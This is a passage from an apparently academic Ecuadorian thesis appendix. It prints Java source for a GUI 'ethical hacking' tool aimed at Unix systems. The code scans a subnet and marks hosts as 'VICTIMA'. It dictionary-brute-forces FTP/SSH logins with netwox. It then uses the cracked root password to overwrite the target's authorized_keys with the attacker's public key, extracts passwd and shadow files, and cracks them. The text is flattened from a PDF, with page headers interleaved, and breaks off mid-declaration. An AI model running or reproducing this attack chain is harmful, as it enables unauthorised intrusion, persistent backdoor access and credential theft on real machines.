if (aux_ip.startsWith("2 ") && valida==true) { cadena_ips= aux_ip; valida=false; for(int h=0;h<aux_ip.length();h++) { if(aux_ip.charAt(h)=='/') { ip_pos = h; } } } aux_ip = br_ip.readLine(); } p_ip.waitFor(); host = cadena_ips.substring(3,ip_pos); System.out.println("LA IP DEL SISTEMA ES:---> "+ host); point_1 = host.lastIndexOf("."); ip_inicial = host.substring(0,point_1)+".0"; ip_final = host.substring(0,point_1)+".254"; System.out.println("1--> "+ ip_inicial+" 2--> "+ip_final); anda.empezar(ip_inicial,ip_final); }catch(InterruptedException e){ Msg a=new Msg("AVISO","imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de rastreo de ip","consulte con la ayuda del sistema","vuelvalo a intentar...gracias"); } PingThread v = new PingThread(); ah =v.get_resultado(); texto_scan_ip.setText("Este es el informe del escaneo de ips--:"+'\n' + ah +'\n'+"Informe de escaneo de ip"+'\n'+"por sistema de hacking de passwords unix"+'\n'+'\n'+"****************************************"+'\n'+"generado el "+time.getFecha()+'\n'+ "A LAS "+clock.getHora()+'\n'+"*********"); ha =v.get_ips(); System.out.println(ha); for(int j=0; j< ha.length();j++) { if(ha.length()>0){ if(ha.charAt(j)!='\n') { aux= aux + ha.charAt(j); }else{ tabla_scan_ip.setValueAt(aux,c,0); tabla_scan_ip.setValueAt("ACTIVA",c,2); tabla_scan_ip.setValueAt("VICTIMA",c,1); aux=""; c++; }

Page 239: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

224

}else{ Msg a=new Msg("INFORME","imagenes/escudo_u.JPG","no hay ips activas en la red","pruebe con otro rango de ips","consulte el manual de ayuda....gracias"); botonscanPUERTOS.setEnabled(false); } } msg a=new msg("aviso","imagenes/escudo_u.jpg","ejecutado el rastreo de ip","seleccione una IP y empieze el escaneo de puertos","********************"); }catch(Exception eje ) { Msg a=new Msg("AVISO","imagenes/escudo_u.jpg","puede que el proceso haya generado","un error interno","si no encontro ips vuelva a scanear.."); botonscanPUERTOS.setEnabled(false); } } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new pantalla_scan().setVisible(true); } }); } static String cadena_ips=""; static String cadena_puertos=""; static String host =""; static String ips_activas[]; static StringBuffer auxiliar; static String aux=""; static String ip_inicial=""; static String ip_final=""; static String ah =""; static String ha =""; static int d=0; static int c=0; static int cont_punto=0; static int point_1=0; static int point_2=0; static int select_fila,select_columna; private Fecha time; private Reloj clock; static InputStream is_ip; static BufferedReader br_ip; static String aux_ip=""; static String clase_ip=""; static int ip_pos=0; static boolean valida =true; static int número_columna=0; static int número_fila=0;

Page 240: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

225

static String nombre_pc=""; static Socket ss= null; private javax.swing.JMenu acerca_de; private javax.swing.JMenuItem acerca_de_menu; private javax.swing.JMenu análisis; private javax.swing.JMenuItem análisis_claves; private javax.swing.JMenu ayuda; private javax.swing.JMenuItem ayudita; private javax.swing.JButton boton_guardar_log; private javax.swing.JButton boton_limpiar; private javax.swing.JButton boton_retorno_principla; private javax.swing.JButton botonhackeo; private javax.swing.JButton botonscanIP; private javax.swing.JButton botonscanPUERTOS; private javax.swing.JMenu estadisticas; private javax.swing.JMenuItem estadisticas_re; private javax.swing.JLabel fecha; private javax.swing.JMenu hackeo; private javax.swing.JMenuItem hacking_etico; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JLabel jLabel6; private javax.swing.JLabel jLabel7; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JPanel jPanel1; private javax.swing.JPanel jPanel2; private javax.swing.JScrollPane jScrollPane1; private javax.swing.JScrollPane jScrollPane2; private javax.swing.JScrollPane jScrollPane3; private javax.swing.JScrollPane jScrollPane4; private javax.swing.JLabel reloj; private javax.swing.JMenu reportes; private javax.swing.JMenuItem reportes_estadisticos; private javax.swing.JMenuItem salida; private javax.swing.JMenu salir; private javax.swing.JMenu scan; private javax.swing.JMenuItem scan_ip_puertos; public javax.swing.JTable tabla_scan_ip; public javax.swing.JTable tabla_scan_puertos; public javax.swing.JEditorPane texto_scan_ip; public javax.swing.JEditorPane texto_scan_puertos; }

Page 241: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

226

Pantalla_attack_ftp.java

import java.io.*; import java.net.*; import java.io.*; import java.io.PrintStream; import javax.swing.JOptionPane; public class pantalla_attack_ftp extends javax.swing.JFrame { public pantalla_attack_ftp(String ip) { ip_final = ip; initComponents(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); jScrollPane1 = new javax.swing.JScrollPane(); text_attack = new javax.swing.JEditorPane(); jLabel2 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); jLabel5 = new javax.swing.JLabel(); boton_exec_attack = new javax.swing.JButton(); boton_stop_attack = new javax.swing.JButton(); jLabel6 = new javax.swing.JLabel(); jLabel7 = new javax.swing.JLabel(); boton_execute_extract = new javax.swing.JButton(); boton_stop_extract = new javax.swing.JButton(); jScrollPane2 = new javax.swing.JScrollPane(); text_extract = new javax.swing.JEditorPane(); jLabel8 = new javax.swing.JLabel(); boton_exec_análisis = new javax.swing.JButton(); boton_stop_análisis = new javax.swing.JButton(); jScrollPane3 = new javax.swing.JScrollPane(); text_analiza_passwd = new javax.swing.JEditorPane(); jLabel9 = new javax.swing.JLabel(); boton_logs = new javax.swing.JButton(); boton_ayuda = new javax.swing.JButton(); boton_retorno = new javax.swing.JButton(); execute_ip = new javax.swing.JButton(); jLabel3 = new javax.swing.JLabel(); boton_analiza = new javax.swing.JButton(); jLabel10 = new javax.swing.JLabel(); jScrollPane4 = new javax.swing.JScrollPane(); text_estado_ip = new javax.swing.JEditorPane(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("Ataque ftp-ssh"); jLabel1.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel1.setText("PANTALLA DE CONTROL ATAQUE SSH"); jScrollPane1.setViewportView(text_attack);

Page 242: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

227

jLabel2.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel2.setText("Check de estado de IP y puerto"); jLabel4.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel4.setText("Resultados"); jLabel5.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel5.setText("Acceso a PC remota"); boton_exec_attack.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_exec_attack.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_exec_attack.setText("Execute"); boton_exec_attack.setToolTipText("Ejecuta la orden de ataque ftp remoto"); boton_exec_attack.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_exec_attackActionPerformed(evt); } }); boton_stop_attack.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_stop_attack.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_stop_attack.setText("Stop"); boton_stop_attack.setToolTipText("Neutraliza la orden de ataque remoto"); jLabel6.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel6.setText("Extraccion del archivo passwd"); jLabel7.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel7.setText("Resultados"); boton_execute_extract.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_execute_extract.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_execute_extract.setText("Execute"); boton_execute_extract.setToolTipText("Con esta opcion extraiga el archivo de passw de la maquina remota"); boton_execute_extract.setEnabled(false); boton_execute_extract.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_execute_extractActionPerformed(evt); } }); boton_stop_extract.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_stop_extract.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_stop_extract.setText("Stop"); boton_stop_extract.setToolTipText("Con esta opcion pare el proceso que se esta ejecutando"); boton_stop_extract.setEnabled(false); jScrollPane2.setViewportView(text_extract); jLabel8.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel8.setText("Obtencion de los passwords del archivo"); boton_exec_análisis.setFont(new java.awt.Font("Lucida Bright", 1, 10));

Page 243: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

228

boton_exec_análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_exec_análisis.setText("Execute"); boton_exec_análisis.setToolTipText("Ejecuta la orden del análisis del archivo extraido"); boton_exec_análisis.setEnabled(false); boton_exec_análisis.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_exec_análisisActionPerformed(evt); } }); boton_stop_análisis.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_stop_análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_stop_análisis.setText("Stop"); boton_stop_análisis.setToolTipText("Detiene la orden de ejecucion de análisis de passwd"); boton_stop_análisis.setEnabled(false); jScrollPane3.setViewportView(text_analiza_passwd); jLabel9.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel9.setText("Resultados"); boton_logs.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_logs.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_logs.setText("logs"); boton_logs.setToolTipText("Guardar los registros del ataque"); boton_logs.setEnabled(false); boton_ayuda.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_ayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_ayuda.setText("Help"); boton_ayuda.setToolTipText("Reciba con esta opcion ayuda sobre el uso de la ventana y demas"); boton_retorno.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_retorno.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_retorno.setText("GO SCAN"); boton_retorno.setToolTipText("Hace un return a la pantalla hackeo"); boton_retorno.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_retornoActionPerformed(evt); } }); execute_ip.setFont(new java.awt.Font("Lucida Bright", 1, 10)); execute_ip.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); execute_ip.setText("Execute"); execute_ip.setToolTipText("Con esta opcion verifique el estado de la red en

Page 244: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

229

caso de perder conexion"); execute_ip.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { execute_ipActionPerformed(evt); } }); jLabel3.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel3.setText("Administracion de resultados"); boton_analiza.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); boton_analiza.setText("ANÁLISIS"); boton_analiza.setEnabled(false); boton_analiza.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_analizaActionPerformed(evt); } }); jLabel10.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel10.setText("Resultados"); jScrollPane4.setViewportView(text_estado_ip); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel6) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING, false) .add(jLabel5) .add(layout.createSequentialGroup() .add(boton_exec_attack) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(boton_stop_attack, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 99, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(jScrollPane1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 251, Short.MAX_VALUE) .add(jLabel4) .add(jScrollPane2, 0, 0, Short.MAX_VALUE)) .add(59, 59, 59) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup()

Page 245: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

230

.addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel8)) .add(layout.createSequentialGroup() .add(8, 8, 8) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(boton_exec_análisis) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 70, Short.MAX_VALUE) .add(boton_stop_análisis, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 93, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(jLabel2) .add(jLabel9) .add(jScrollPane3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 257, Short.MAX_VALUE) .add(jScrollPane4, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 257, Short.MAX_VALUE) .add(jLabel10) .add(execute_ip, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 94, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))))) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(boton_execute_extract, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 94, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(boton_stop_extract, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 94, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(jLabel7)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 381, Short.MAX_VALUE)) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(boton_logs) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(boton_retorno)) .add(jLabel3)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(boton_ayuda) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 120, Short.MAX_VALUE) .add(boton_analiza)

Page 246: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

231

.add(67, 67, 67))) .addContainerGap()) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(jLabel1) .add(200, 200, 200)))) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(jLabel8, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 13, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_exec_análisis) .add(boton_stop_análisis)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED)) .add(layout.createSequentialGroup() .add(jLabel5) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_exec_attack) .add(boton_stop_attack)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED))) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel9, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 13, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel4)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jScrollPane1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 133, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jScrollPane3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 133, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel6) .add(jLabel2)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED)

Page 247: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

232

.add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING)

.add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_execute_extract) .add(boton_stop_extract)) .add(execute_ip)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel7, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 13, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel10, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 13, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jScrollPane4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 133, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jScrollPane2, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 133, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(jLabel3) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_logs) .add(boton_retorno) .add(boton_ayuda))) .add(boton_analiza)) .add(22, 22, 22)) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-609)/2, (screenSize.height-528)/2, 609, 528); }// </editor-fold> private void boton_retornoActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan as = new pantalla_scan(); as.show(); } private void boton_analizaActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); parametros_análisis análisiss = new parametros_análisis(ip_final); análisiss.show(); } public static boolean verifica_estado_red() throws Exception {

Page 248: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

233

Process p_red = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/chequeo_red "+ip_final); is_red = p_red.getInputStream(); br_red = new BufferedReader (new InputStreamReader (is_red)); aux_red = br_red.readLine(); while (aux_red!=null ) { System.out.println (aux_red); cadena_total_red = cadena_total_red + '\n' + aux_red; aux_red = br_red.readLine(); } int status = p_red.waitFor(); return status == 0; } private void execute_ipActionPerformed(java.awt.event.ActionEvent evt) { cadena_total_red=""; text_estado_ip.setText(""); aux_red=""; try { if (verifica_estado_red()){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","terminada la ejecucion","del estado de la red","........."); boton_exec_attack.setEnabled(true); }else{ Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.Jpg","no se pudo ejecutar la funcion de verificacion de la red","consulte con la ayuda del sistema","gracias"); boton_exec_attack.setenabled(false); } } catch (Exception e) { e.printStackTrace(); Msg a=new msg("error","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de verificacion de la red","consulte con la ayuda del sistema","gracias"); } text_estado_ip.setText(cadena_total_red +'\n'+ "finalizado chequeo de red"); } private void boton_exec_análisisActionPerformed(java.awt.event.ActionEvent evt) { cadena_total_descifra=""; aux_descifra=""; try { if (ejecuta_descifrado()){

Page 249: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

234

Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","ejecutado con exito","la extraccion","gracias por usar nuestro programa"); boton_analiza.setEnabled(true); boton_logs.setEnabled(true); }else{ Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.JPG","no se pudo ejecutar la funcion de extraccion de contraseñas","consulte con Administrador","Gracias"); boton_analiza.setEnabled(false); boton_logs.setEnabled(false); } } catch (Exception e) { e.printStackTrace(); Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de extraccion de contraseñas","consulte con la ayuda del sistema","gracias"); } text_analiza_passwd.setText(cadena_total_descifra +'\n'+ " finalizado con exito el descifrado de passwd..!!!"); } private void boton_execute_extractActionPerformed(java.awt.event.ActionEvent evt) { text_extract.setText(""); aux_copia=""; aux_coloca=""; aux_extraelo=""; cadena_total=""; try { if (ejecuta_extract(ip_final,"root",passwd_final)){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","finalizado con exito","la extraccion de archivos","gracias por usar nuestro programa!"); boton_exec_análisis.setEnabled(true); }else{ Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de extraccion de contraseñas","consulte con la ayuda del sistema","gracias"); boton_exec_análisis.setEnabled(false); } } catch (Exception e) { e.printStackTrace();

Page 250: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

235

Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de rastreo de contraseñas","consulte con la ayuda del sistema","gracias"); } text_extract.setText(cadena_total +'\n'+ " finalizado con exito el ataque..!!!"); } private void boton_exec_attackActionPerformed(java.awt.event.ActionEvent evt) { text_attack.setText(""); password_obtenido =""; aux=""; cadena_total_passwd=""; passwd_final=""; aux_valor=0; cont=0; try { if (ejecuta_ataque_ftp(ip_final)){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","terminado con exito","la autenticacion remota","gracias por usar nuestro programa!!"); boton_execute_extract.setEnabled(true); execute_ip.setEnabled(true); }else{ Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.JPG","no se pudo ejecutar la funcion de rastreo de contraseñas","consulte con la ayuda del sistema","gracias"); boton_execute_extract.setEnabled(false); } } catch (Exception e) { e.printStackTrace(); Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de rastreo de contrase�as","consulte con la ayuda del sistema","gracias"); } text_attack.setText(cadena_total_passwd); } public static boolean ejecuta_extract(String ip_final,String login,String passwd_final) throws Exception { Process p_copia = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/ataque_ssh"); is_copia = p_copia.getInputStream(); br_copia = new BufferedReader (new InputStreamReader (is_copia)); String aux_copia = br_copia.readLine(); while (aux_copia!=null ) {

Page 251: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

236

System.out.println (aux_copia); cadena_total = cadena_total + '\n' + aux_copia; aux_copia = br_copia.readLine(); } p_copia.waitFor(); //Borrado Remoto Del Archivo De Autenticacion Process p_clear = Runtime.getRuntime().exec("netwox 114 -i "+ip_final+" -u "+login+" -a "+passwd_final+" --remote-file /root/.ssh/authorized_keys"); is_clear = p_clear.getInputStream(); br_clear = new BufferedReader (new InputStreamReader (is_clear)); String aux_clear = br_clear.readLine(); while (aux_clear!=null ) { System.out.println (aux_clear); cadena_total = cadena_total + '\n' + aux_clear; aux_clear = br_clear.readLine(); } p_clear.waitFor(); //-Colocacion De Los Archivos De Autenticacion Process p_coloca = Runtime.getRuntime().exec("netwox 113 -i "+ip_final+" -u "+login+" -a "+passwd_final+" -f /root/.ssh/id_rsa.pub -F /root/.ssh/authorized_keys"); is_coloca = p_coloca.getInputStream(); br_coloca = new BufferedReader (new InputStreamReader (is_coloca)); String aux_coloca = br_coloca.readLine(); while (aux_coloca!=null ) { System.out.println (aux_coloca); cadena_total = cadena_total + '\n' + aux_coloca; aux_coloca = br_coloca.readLine(); } p_coloca.waitFor(); //--Extraccion De Los Archivos De La Maquina Remota Process p_extraelo = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/extract_passwd_shadow "+ip_final); is_extraelo = p_extraelo.getInputStream(); br_extraelo = new BufferedReader (new InputStreamReader (is_extraelo)); aux_extraelo = br_extraelo.readLine();

Page 252: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

237

while (aux_extraelo!=null ) { System.out.println (aux_extraelo); cadena_total = cadena_total + '\n' + aux_extraelo; aux_extraelo = br_extraelo.readLine(); } int status = p_extraelo.waitFor(); return status == 0; } public static boolean ejecuta_ataque_ftp(String ip) throws Exception { Process p = Runtime.getRuntime().exec("netwox 130 -i "+ IP +" -l "+"/root/hacking_etico/utilitarios/login"+" -v -s -w "+"/root/hacking_etico/utilitarios/diccionario_completo"+ " -T 50000 -n 200"); is = p.getInputStream(); br = new BufferedReader (new InputStreamReader (is)); String aux = br.readLine(); while (aux!=null ) { System.out.println (aux); cadena_total_passwd = cadena_total_passwd + '\n' + aux; if (aux.endsWith("good")) { password_obtenido = aux; } aux = br.readLine(); } int status = p.waitFor(); for(int k=0; k < password_obtenido.length()-9; k++) { if (password_obtenido.charAt(k)== '-' && cont ==0) { passwd_final = password_obtenido.substring(k+3,password_obtenido.length()-9); cont++; } } System.out.println("Este es el passwd rastreado-->" + passwd_final); cadena_total_passwd = cadena_total_passwd + '\n'+" ENTONCES, EL RESULTADO OBTENIDO DEL PASSWD ES:... "+passwd_final; cadena_passwords_obtenidos = cadena_passwords_obtenidos + passwd_final; return status == 0; } public static boolean ejecuta_descifrado() throws Exception { Process p_descifra =

Page 253: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

238

Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/analiza_passwd "+ip_final); is_descifra = p_descifra.getInputStream(); br_descifra = new BufferedReader (new InputStreamReader (is_descifra)); aux_descifra = br_descifra.readLine(); while (aux_descifra!=null ) { System.out.println (aux_descifra); cadena_total_descifra = cadena_total_descifra + '\n' + aux_descifra; aux_descifra = br_descifra.readLine(); } int status = p_descifra.waitFor(); return status == 0; } public String get_ip_analizada(){ return this.ip_final; } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new pantalla_attack_ftp(ip_final).setVisible(true); } }); } private Fecha time; private Reloj clock; static String cadena_passwords_obtenidos=""; static String password_obtenido =""; static String aux =""; static String cadena_total_passwd =""; static String passwd_final =""; static String ip_final =""; static int aux_valor=0; static int cont=0; static String cadena_total=""; static InputStream is_copia; static BufferedReader br_copia; static String aux_copia=""; static 